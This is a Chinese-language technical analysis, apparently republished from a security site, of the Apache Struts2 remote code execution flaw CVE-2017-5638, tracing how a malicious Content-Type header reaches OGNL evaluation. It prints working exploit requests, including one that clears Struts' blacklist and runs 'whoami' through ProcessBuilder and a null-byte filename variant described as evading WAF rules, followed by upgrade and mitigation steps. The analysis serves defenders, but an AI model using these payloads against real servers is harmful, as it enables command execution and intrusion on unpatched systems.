深度剖析Struts2远程代码执行漏洞

本文讲的是深度剖析Struts2远程代码执行漏洞

三月初,安全研究人员发现世界上最流行的JavaWeb服务器框架之一– Apache Struts2存在远程代码执行的漏洞,Struts2官方已经确认该漏洞(S2-046,CVE编号为:CVE-2017-5638)风险等级为高危漏洞。

漏洞描述

该漏洞是由于上传功能的异常处理函数没有正确处理用户输入的错误信息,导致远程攻击者可通过修改HTTP请求头中的Content-Type值,构造发送恶意的数据包,利用该漏洞进而在受影响服务器上执行任意系统命令。 

漏洞利用条件和方式

黑客通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。

漏洞影响范围

Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10

建议大家尽快升级到 Apache Struts 2.3.32 or 2.5.10.1 

近日,我们对这个漏洞的执行代码进行了详细的分析,并对野外利用中的有效载荷进行了跟踪研究。除此之外,我们还提供了CVE-2017-5638运行的有效载荷,这是一个可以绕过只能检查请求内容类型的Web应用程序防火墙规则的备用漏洞利用向量。

对于不熟悉SSTI(服务端模板注入)概念的人员来说,这是一个注入攻击的典型例子。从模板引擎的原理可知,哪方实现的模板引擎,就依赖哪方。在server端实现模板引擎时,依赖server端。在客户端实现依赖客户端。

所以,只要在客户端实现一种模板解析方式(引擎),用来读取模板内容,分析并转为客户端可执行的程序源码,并运行,就可以脱离服务端,在浏览器端渲染页面,而不依赖服务端,这样的结果通常是模板引擎会允许任何形式的代码执行。对于许多流行的模板引擎,例如Freemarker,Smarty,Velocity,Jade等,通常可以在引擎之外执行远程代码执行(即产生系统shell)。在Struts的案例中,模板引擎就是使用诸如对象图导航语言(OGNL)的表达式语言来提供简单的模板功能。与OGNL的方法类似,模板引擎通常也可以在表达式语言之外获得远程代码执行。这些代码库提供了帮助缓解远程执行代码(如沙盒)的机制,但是默认情况下它们往往被禁用,或者简单地绕过。

从代码的角度来看,SSTI存在于应用程序中的最简单的条件是将用户输入传递到解析模板代码的函数中。将函数句柄值丢失是将各种注入漏洞引入到应用程序中的一种简单方法。要发现这样的漏洞,必须仔细追踪和分析调用堆栈和任何被感染的数据流。

这样才能充分了解CVE-2017-5638的工作原理,不过要真正了解漏洞的工作原理,我们还需要对库中的相关代码进行全面的分析。

我们通过捕获和记录CVE-2017-5638在运行时的异常代码进程,倒推出了次漏洞的工作原理。正如我们在下面的恶意代码再现中看到的那样,漏洞可以导致远程代码执行,在Apache公共上传库中parseRequest(request)解析出现异常,这是因为请求的内容类型与预期的有效字符串不匹配。我们还注意到,这个上传库引发的异常消息还包括HTTP请求中提供的无效内容类型头。这实际上是用用户输入来描述异常消息。

用户输入要求:

POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 0

用户输入反应:

HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=16cuhw2qmanji1axbayhcp10kn;Path=/struts2-showcase
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Server: Jetty(8.1.16.v20140903)
Content-Length: 11

testwebuser

用户登录异常:

2017-03-24 13:44:39,625 WARN  [qtp373485230-21] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:69) - Request exceeded size limit!
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
	at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.(FileUploadBase.java:948) ~[commons-fileupload-1.3.2.jar:1.3.2]
	at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:310) ~[commons-fileupload-1.3.2.jar:1.3.2]
	at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:334) ~[commons-fileupload-1.3.2.jar:1.3.2]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:147) ~[struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:91) ~[struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:67) [struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.(MultiPartRequestWrapper.java:86) [struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:806) [struts2-core-2.5.10.jar:2.5.10]
[..snip..]

负责调用生成异常的parseRequest方法的调用者在一个名为JakartaMultiPartRequest的类中,JakartaMultiPartRequest作为围绕Apache commons fileupload库的包装器,定义了一个名为processUpload的方法,如下图所示,该方法在第91行调用了自己的parseRequest方法。该方法在第151行创建一个新的ServletFileUpload对象,并在第147行调用其parseRequest方法:

core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java:90:     protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException {91:         for (FileItem item : parseRequest(request, saveDir)) {92:             LOG.debug("Found file item: [{}]", item.getFieldName());93:             if (item.isFormField()) {94:                 processNormalFormField(item, request.getCharacterEncoding());95:             } else {96:                 processFileField(item);97:             }98:         }99:     }[..snip..]144:     protected List<FileItem> parseRequest(HttpServletRequest servletRequest, String saveDir) throws FileUploadException {145:         DiskFileItemFactory fac = createDiskFileItemFactory(saveDir);146:         ServletFileUpload upload = createServletFileUpload(fac);147:         return upload.parseRequest(createRequestContext(servletRequest));148:     }149: 150:     protected ServletFileUpload createServletFileUpload(DiskFileItemFactory fac) {151:         ServletFileUpload upload = new ServletFileUpload(fac);152:         upload.setSizeMax(maxSize);153:         return upload;154:     }

查看 Stacktrace(堆栈轨迹),Stacktrace是一个非常有用的调试工具. 在未捕获的异常被抛出时(或者手动制造堆栈跟踪的时候),它会让我们看到调到的堆(在某一点调用方法的堆)。不仅显示出出现错误的地方,也显出程序在那个地方是如何结束的。我们可以看到processUpload方法由JakartaMultiPartRequest在第67行的解析方法调用。如下图所示,调用此方法的任何抛出的异常都在第68行被捕获,并传递给buildErrorMessage。虽然根据引发的异常的类调用processUpload方法可以有多个选择,但最终都要调用buildErrorMessage方法。在这种情况下,第75行调用buildErrorMessage方法:

core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java:64:     public void parse(HttpServletRequest request, String saveDir) throws IOException {65:         try {66:             setLocale(request);67:             processUpload(request, saveDir);68:         } catch (FileUploadException e) {69:             LOG.warn("Request exceeded size limit!", e);70:             LocalizedMessage errorMessage;71:             if(e instanceof FileUploadBase.SizeLimitExceededException) {72:                 FileUploadBase.SizeLimitExceededException ex = (FileUploadBase.SizeLimitExceededException) e;73:                 errorMessage = buildErrorMessage(e, new Object[]{ex.getPermittedSize(), ex.getActualSize()});74:             } else {75:                 errorMessage = buildErrorMessage(e, new Object[]{});76:             }77:78:             if (!errors.contains(errorMessage)) {79:             	errors.add(errorMessage);80:             }81:         } catch (Exception e) {82:             LOG.warn("Unable to parse request", e);83:             LocalizedMessage errorMessage = buildErrorMessage(e, new Object[]{});84:             if (!errors.contains(errorMessage)) {85:                 errors.add(errorMessage);86:             }87:         }88:     }

由于JakartaMultiPartRequest类没有定义buildErrorMessage方法,所以我们要查看它扩展的类:AbstractMultiPartRequest:

core/src/main/java/org/apache/struts2/dispatcher/multipart/AbstractMultiPartRequest.java:98:      protected LocalizedMessage buildErrorMessage(Throwable e, Object[] args) {99:      	String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();100:     	LOG.debug("Preparing error message for key: [{}]", errorKey);101:  102:     	return new LocalizedMessage(this.getClass(), errorKey, e.getMessage(), args);103:     }

它返回的LocalizedMessage定义了一个简单的类似容器的对象,其中textKey设置为struts.messages.upload.error.InvalidContentTypeException,defaultMessage被设置为用户输入感染的异常消息。

接下来在stacktrace中,我们可以看到JakartaMultiPartRequest的解析方法在第86行的MultiPartRequestWrapper的构造方法中被调用,在第88行调用的addError方法会检查是否已经看到错误,如果不是,它会将它添加到一个包含LocalizedMessage对象集合的实例变量中:

core/src/main/java/org/apache/struts2/dispatcher/multipart/MultiPartRequestWrapper.java:77:     public MultiPartRequestWrapper(MultiPartRequest multiPartRequest, HttpServletRequest request,78:                                    String saveDir, LocaleProvider provider,79:                                    boolean disableRequestAttributeValueStackLookup) {80:         super(request, disableRequestAttributeValueStackLookup);[..snip..]85:         try {86:             multi.parse(request, saveDir);87:             for (LocalizedMessage error : multi.getErrors()) {88:                 addError(error);89:             }

在我们对堆栈进行轨迹跟踪的下一行,我们看到Dispatcher类负责实例化一个新的MultiPartRequestWrapper对象并调用上面的构造方法。这里调用的方法叫做wrapRequest,它负责检测请求的内容类型是否包含第801行的子串“multipart / form-data”,如果包含,则在第804行创建一个新的MultiPartRequestWrapper并返回:

core/src/main/java/org/apache/struts2/dispatcher/Dispatcher.java:794:     public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {795:         // don't wrap more than once796:         if (request instanceof StrutsRequestWrapper) {797:             return request;798:         }799:800:         String content_type = request.getContentType();801:         if (content_type != null && content_type.contains("multipart/form-data")) {802:             MultiPartRequest mpr = getMultiPartRequest();803:             LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);804:             request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);805:         } else {806:             request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);807:         }808:809:         return request;810:     }

在我们分析的这个样本时,它的HTTP请求已被解析,我们的包裹请求对象(MultiPartRequestWrapper)持有一个错误(LocalizedMessage)和我们的默认消息,而一个textKey设置为struts.messages.upload.error.InvalidContentTypeException。

虽然堆栈轨迹的其余部分不能为我们继续跟踪数据流提供任何非常有用的帮助,但是,我们从中发现了一个线索, Struts通过一系列拦截器处理请求。事实证明,名为FileUploadInterceptor的拦截器是Struts配置的默认“堆栈”的一部分。

正如我们在第242行看到的,拦截器会检查我们的请求对象是否是MultiPartRequestWrapper类的实例。我们知道这是因为Dispatcher以前返回了这个类的一个实例,拦截器会继续检查MultiPartRequestWrapper对象是否在第261行出现错误。然后它在第264行调用LocalizedTextUtil的findText方法,传递几个参数,例如错误的textKey和我们的默认的defaultMessage:

core/src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java:237:     public String intercept(ActionInvocation invocation) throws Exception {238:         ActionContext ac = invocation.getInvocationContext();239:240:         HttpServletRequest request = (HttpServletRequest) ac.get(ServletActionContext.HTTP_REQUEST);241:242:         if (!(request instanceof MultiPartRequestWrapper)) {243:             if (LOG.isDebugEnabled()) {244:                 ActionProxy proxy = invocation.getProxy();245:                 LOG.debug(getTextMessage("struts.messages.bypass.request", new String[]{proxy.getNamespace(), proxy.getActionName()}));246:             }247:248:             return invocation.invoke();249:         }250:[..snip..]259:         MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;260:261:         if (multiWrapper.hasErrors()) {262:             for (LocalizedMessage error : multiWrapper.getErrors()) {263:                 if (validation != null) {264:                     validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));265:                 }266:             }267:         }

LocalizedTextUtil的方法findText的一个版本被调用,它试图根据以下6个因素找到一个返回的错误信息:

aClassName设置为AbstractMultiPartRequest
aTextName设置为错误的textKey,这是struts.messages.upload.error.InvalidContentTypeException。
区域设置设置为ActionContext的区域设置。
defaultMessage是我们作为字符串感染的异常消息。
Args是一个空数组。

valueStack设置为ActionContext的valueStack:

397:     /**398:      * <p>399:      * Finds a localized text message for the given key, aTextName. Both the key and the message400:      * itself is evaluated as required.  The following algorithm is used to find the requested401:      * message:402:      * </p>403:      *404:      * <ol>405:      * <li>Look for message in aClass' class hierarchy.406:      * <ol>407:      * <li>Look for the message in a resource bundle for aClass</li>408:      * <li>If not found, look for the message in a resource bundle for any implemented interface</li>409:      * <li>If not found, traverse up the Class' hierarchy and repeat from the first sub-step</li>410:      * </ol></li>411:      * <li>If not found and aClass is a {@link ModelDriven} Action, then look for message in412:      * the model's class hierarchy (repeat sub-steps listed above).</li>413:      * <li>If not found, look for message in child property.  This is determined by evaluating414:      * the message key as an OGNL expression.  For example, if the key is415:      * <i>user.address.state</i>, then it will attempt to see if "user" can be resolved into an416:      * object.  If so, repeat the entire process fromthe beginning with the object's class as417:      * aClass and "address.state" as the message key.</li>418:      * <li>If not found, look for the message in aClass' package hierarchy.</li>419:      * <li>If still not found, look for the message in the default resource bundles.</li>420:      * <li>Return defaultMessage</li>421:      * </ol>

因为未找到资源束定义struts.messages.upload.error.InvalidContentTypeException的错误消息,所以此过程最终将调用第573行上的getDefaultMessage方法:

core/src/main/java/com/opensymphony/xwork2/util/LocalizedTextUtil.java:570:         // get default571:         GetDefaultMessageReturnArg result;572:         if (indexedTextName == null) {573:             result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);574:         } else {575:             result = getDefaultMessage(aTextName, locale, valueStack, args, null);576:             if (result != null &amp;&amp; result.message != null) {577:                 return result.message;578:             }579:             result = getDefaultMessage(indexedTextName, locale, valueStack, args, defaultMessage);580:         }

同一个类中的getDefaultMessage方法负责最后一次尝试找到一个给定密钥和语言环境的错误消息。在我们的尝试过程中,getDefaultMessage方法尝试失败,并利用我们的异常消息,在第729行调用TextParseUtil的translateVariables方法:

core/src/main/java/com/opensymphony/xwork2/util/LocalizedTextUtil.java:714:     private static GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args,715:                                                                 String defaultMessage) {716:         GetDefaultMessageReturnArg result = null;717:         boolean found = true;718:719:         if (key != null) {720:             String message = findDefaultText(key, locale);721:722:             if (message == null) {723:                 message = defaultMessage;724:                 found = false; // not found in bundles725:             }726:727:             // defaultMessage may be null728:             if (message != null) {729:                 MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);730:731:                 String msg = formatWithNullDetection(mf, args);732:                 result = new GetDefaultMessageReturnArg(msg, found);733:             }734:         }735:736:         return result;737:     }

事实证明,TextParseUtil的translateVariables方法是用于表达式语言评估的数据接收器。它通过评估包含在$ {…}和%{…}的实例中的OGNL表达式来提供简单的模板功能,定义并调用了几个版本的translateVariables方法,最后评估第166行的表达式:

core/src/main/java/com/opensymphony/xwork2/util/TextParseUtil.java:34:      /**35:       * Converts all instances of ${...}, and %{...} in <code>expression</code> to the value returned36:       * by a call to {@link ValueStack#findValue(java.lang.String)}. If an item cannot37:       * be found on the stack (null is returned), then the entire variable ${...} is not38:       * displayed, just as if the item was on the stack but returned an empty string.39:       *40:       * @param expression an expression that hasn't yet been translated41:       * @param stack value stack42:       * @return the parsed expression43:       */44:      public static String translateVariables(String expression, ValueStack stack) {45:          return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString();46:      }[..snip..]152:     public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final ParsedValueEvaluator evaluator, int maxLoopCount) {153:154:     ParsedValueEvaluator ognlEval = new ParsedValueEvaluator() {155:             public Object evaluate(String parsedValue) {156:                 Object o = stack.findValue(parsedValue, asType);157:                 if (evaluator != null && o != null) {158:                     o = evaluator.evaluate(o.toString());159:                 }160:                 return o;161:             }162:         };163:164:         TextParser parser = ((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);165:166:         return parser.evaluate(openChars, expression, ognlEval, maxLoopCount);167:     }

有了这个最后一个方法调用,我们就可以跟踪到用户输入的异常消息,一直到OGNL的评估。

大家可能会非常想知道漏洞的有效载荷是如何工作的。首先,我们尝试提供一个返回附加标题的简单OGNL有效载荷。我们需要在开头包含未使用的变量,以便Dispatcher检查“multipart / form-data”子串,并将我们的请求解析成文件上传。

用户输入要求:

POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: ${(#_='multipart/form-data').(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}
Content-Length: 0

用户输入反应:

HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=1wq4m7r2pkjqfak2zaj4e12kn;Path=/struts2-showcase
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html
[..snip..]

用户登录异常:

17-03-24 12:48:30,904 WARN  [qtp18233895-25] ognl.SecurityMemberAccess (SecurityMemberAccess.java:74) - Package of target [com.opensymphony.sitemesh.webapp.ContentBufferingResponse@9f1cfe2] or package of member [public void javax.servlet.http.HttpServletResponseWrapper.addHeader(java.lang.String,java.lang.String)] are excluded!

事实证明,Struts提供了类成员访问的黑名单功能即类方法。默认情况下,使用以下类列表和正则表达式:

core/src/main/resources/struts-default.xml:41:     <constant name="struts.excludedClasses"42:               value="43:                 java.lang.Object,44:                 java.lang.Runtime,45:                 java.lang.System,46:                 java.lang.Class,47:                 java.lang.ClassLoader,48:                 java.lang.Shutdown,49:                 java.lang.ProcessBuilder,50:                 ognl.OgnlContext,51:                 ognl.ClassResolver,52:                 ognl.TypeConverter,53:                 ognl.MemberAccess,54:                 ognl.DefaultMemberAccess,55:                 com.opensymphony.xwork2.ognl.SecurityMemberAccess,56:                 com.opensymphony.xwork2.ActionContext">57: [..snip..]63:     <constant name="struts.excludedPackageNames" value="java.lang.,ognl,

为了更好地了解原始的OGNL有效载荷,让我们尝试一个实际样本的载荷过程:

载荷要求:

POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}}
Content-Length: 0

载荷效果:

HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=avmifel7x66q9cmnsrr8lq0s;Path=/struts2-showcase
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Struts-Exploit-Test: GDSTEST
Content-Type: text/html
[..snip..]

我们可以看到,这确实有效。但是如何绕过我们之前看到的黑名单呢?

这个有效载荷是空的排除包名称和类的列表,从而使黑名单无用。它首先通过获取与OGNL上下文相关联的当前容器并将其分配给容器变量来实现。大家可能会注意到com.opensymphony.xwork2.ActionContext类包含在上面的黑名单中。那既然这样,怎么会躲避黑名单的捕获呢,因为我们没有引用类成员,而是通过OGNL值堆栈中已经存在的密钥(在core/src/main/java/com/opensymphony/xwork2/ActionContext.java:102中定义的)。我们的有效载荷已经利用了这个类的一个实例引用。

接下来,有效载荷获取容器的OgnlUtil实例允许我们调用返回当前排除的类和包名称的方法。最后一步是简单地清除每个黑名单并执行我们想要的任何无限制的评估。

一旦黑名单被清空,有效载荷也变空了,直到被代码覆盖和应用程序重新启动。我们还发现了一个常见的测试陷阱,当我们试图重现在野外发现的某些有效载荷或记录时,有些有效载荷无法工作,因为它们已经假设黑名单已经被清空,这可能是以前在不同有效载荷的测试期间发生的。这充分说明了运行动态测试时重置应用程序状态的重要性。

大家可能还注意到,使用的原始漏洞利用的有效载荷比我们所列举的样本有点复杂。比如,为什么会执行额外的步骤,例如检查_memberAccess变量并调用名为setMemberAccess的方法?我们猜想可能是尝试利用另一种技术来清除黑名单,以防第一种技术不起作用。使用MemberAcess类的默认实例调用setMemberAccess方法,该实例实际上也会清除黑名单。所以我们可以确认这种技术会在Struts 2.3.31中工作,而不是Struts 2.5.10。不过目前,我仍然不确定三元运算符的目的是检查和有条件地分配_memberAccess。在测试期间,我们没有观察到这个变量的评估。

从2.5.10开始,存在针对CVE-2017-5638的其他漏洞利用,这是因为任何不具有关联错误密钥的用户输入的异常消息将都被评估为OGNL。例如,提供带有空字节的上传文件名将导致从Apache commons fileupload库中抛出InvalidFileNameException异常。这也将绕过检查内容类型标头的Web应用程序防火墙规则,以下请求中的%00应首先进行URL解码,结果为用户输入的异常消息。

用户输入要求:

POST /struts2-showcase/ HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=---------------------------1313189278108275512788994811
Content-Length: 570

-----------------------------1313189278108275512788994811
Content-Disposition: form-data; name="upload"; filename="a%00${(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}”
Content-Type: text/html

test
-----------------------------1313189278108275512788994811--

用户输入反应:

HTTP/1.1 404 No result defined for action com.opensymphony.xwork2.ActionSupport and result input
Set-Cookie: JSESSIONID=hu1m7hcdnixr1h14hn51vyzhy;Path=/struts2-showcase
X-Struts-Exploit-Test: GDSTEST
Content-Type: text/html;charset=ISO-8859-1
[..snip..]

用户登录异常:

2017-03-24 15:21:29,729 WARN  [qtp1168849885-26] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:82) - Unable to parse request
org.apache.commons.fileupload.InvalidFileNameException: Invalid file name: a${(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}
	at org.apache.commons.fileupload.util.Streams.checkFileName(Streams.java:189) ~[commons-fileupload-1.3.2.jar:1.3.2]
	at org.apache.commons.fileupload.disk.DiskFileItem.getName(DiskFileItem.java:259) ~[commons-fileupload-1.3.2.jar:1.3.2]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processFileField(JakartaMultiPartRequest.java:105) ~[struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:96) ~[struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:67) [struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.(MultiPartRequestWrapper.java:86) [struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:806) [struts2-core-2.5.10.jar:2.5.10]

通过查看stacktrace可以看到,控制流在JakartaMultiPartRequest类的processUpload方法中发生偏差。当在第91行调用parseRequest方法时抛出异常,而不是在调用processFileField方法并获取105行文件项的名称时抛出异常:

core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java:90:      protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException {91:          for (FileItem item : parseRequest(request, saveDir)) {92:              LOG.debug("Found file item: [{}]", item.getFieldName());93:              if (item.isFormField()) {94:                   processNormalFormField(item, request.getCharacterEncoding());95:              } else {96:                  processFileField(item);97:              }98:          }99:      }[..snip..]101:     protected void processFileField(FileItem item) {102:         LOG.debug("Item is a file upload");103: 104:         // Skip file uploads that don't have a file name - meaning that no file was selected.105:         if (item.getName() == null || item.getName().trim().length() < 1) {106:             LOG.debug("No file has been uploaded for the field: {}", item.getFieldName());107:             return;108:         }109: 110:         List<FileItem> values;111:         if (files.get(item.getFieldName()) != null) {112:             values = files.get(item.getFieldName());113:         } else {114:             values = new ArrayList<>();115:         }116: 117:         values.add(item);118:         files.put(item.getFieldName(), values);119:     }

总结

我们从这项研究中得到的一个收获就是,不能总是依赖于查看CVE描述来了解漏洞的工作原理。比如,CVE-2017-5638存在的可能原因是因为文件上传时,拦截器尝试使用评估OGNL的潜在危险函数来解决错误消息。因此,这不是Jakarta请求包装器的问题,正如CVE描述的那样,但是文件上传时拦截器信任该异常的消息将不会被用户输入。

检测与修复方案

如果您的设备已经检测出存在Struts2漏洞,根据您的具体情况有以下三种解决方式:

1.官方解决方案

官方已经发布版本更新,尽快升级到不受影响的版本(Struts 2.3.32或Struts 2.5.10.1),建议在升级前做好数据备份。

Struts 2.3.32 下载地址,

Struts 2.5.10.1下载地址。

2.临时修复方案

在用户不便进行升级的情况下,作为临时的解决方案,用户可以进行以下操作来规避风险:

在WEB-INF/classes目录下的struts.xml 中的struts 标签下添加

<constant name="struts.custom.i18n.resources" value="global" />

在WEB-INF/classes/ 目录下添加 global.properties,文件内容如下:

struts.messages.upload.error.InvalidContentTypeException=1

配置过滤器过滤Content-Type的内容,在web应用的web.xml中配置过滤器,在过滤器中对Content-Type内容的合法性进行检测:

原文发布时间为:2017年4月6日

本文作者:xiaohui

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-10-02 14:00:59

深度剖析Struts2远程代码执行漏洞的相关文章

绿盟科技网络安全威胁周报2017.10 请关注Struts2远程代码执行漏洞CVE-2017-5638

绿盟科技发布了本周安全通告,周报编号NSFOCUS-17-10,绿盟科技漏洞库本周新增32条,其中高危1条.本次周报建议大家关注 Struts2 远程代码执行漏洞 CVE-2017-5638 .攻击者通过恶意的Content-Type值,可导致远程代码执行.目前,Apache官方已针对该漏洞已经发布安全公告和补丁.请受影响用户及时检查升级,修复漏洞. 焦点漏洞 Struts2 远程代码执行漏洞 NSFOCUS ID 36031 CVE ID CVE-2017-5638 受影响版本 Struts

Struts2远程代码执行漏洞CVE-2017-9805 s2-052 绿盟科技发布分析和防护方案

5日晚, Struts2远程代码执行漏洞CVE-2017-9805(s2-052),绿盟科技发布扫描工具 ,今天绿盟科技发布了<Struts2 s2-052 REST插件远程代码执行技术分析与防护方案>,报告全文如下 Struts2 s2-052 REST插件远程代码执行技术分析与防护方案 2017年9月5日,Apache Struts发布最新的安全公告,Apache Struts 2.5.x以及之前的部分2.x版本的REST插件存在远程代码执行的高危漏洞,漏洞编号为CVE-2017-9805

Apache Struts2远程代码执行漏洞S2-048 CVE-2017-9791 分析和防护方案

今天,Apache Struts官方发布公告,漏洞编号为S2-048 CVE-2017-9791,公告称Struts2和Struts1中的一个Showcase插件可能导致远程代码执行,并评价为高危漏洞. 绿盟科技发布分析和防护方案,其中开放了在线检测工具 https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?page_id=12 通告全文如下 Apache Struts2远程代码执行漏洞S2-048 CVE-2017-

Struts2远程代码执行漏洞CVE-2017-9805 s2-052 绿盟科技发布扫描工具

5日晚,apache官方发布公告称, Struts2出现严重远程代码执行漏洞 .发布通告不到一天,又更新了受影响版本的范围,增加了Struts 2.12 - Struts 2.3.33 ,此外还有Struts 2.5 - Struts 2.5.12.请尽快升级到 Struts 2.5.13 ,官方通告中称 Struts2在使用带有 XStream 处理程序的 Struts REST 插件,处理 XML 有效负载时,可能发生远程代码执行攻击 绿盟科技随即发布发布预警通告(见本文后半部分),并给出C

Struts2再爆远程代码执行漏洞CVE-2017-12611 S2-053 还是升级到最新版本吧

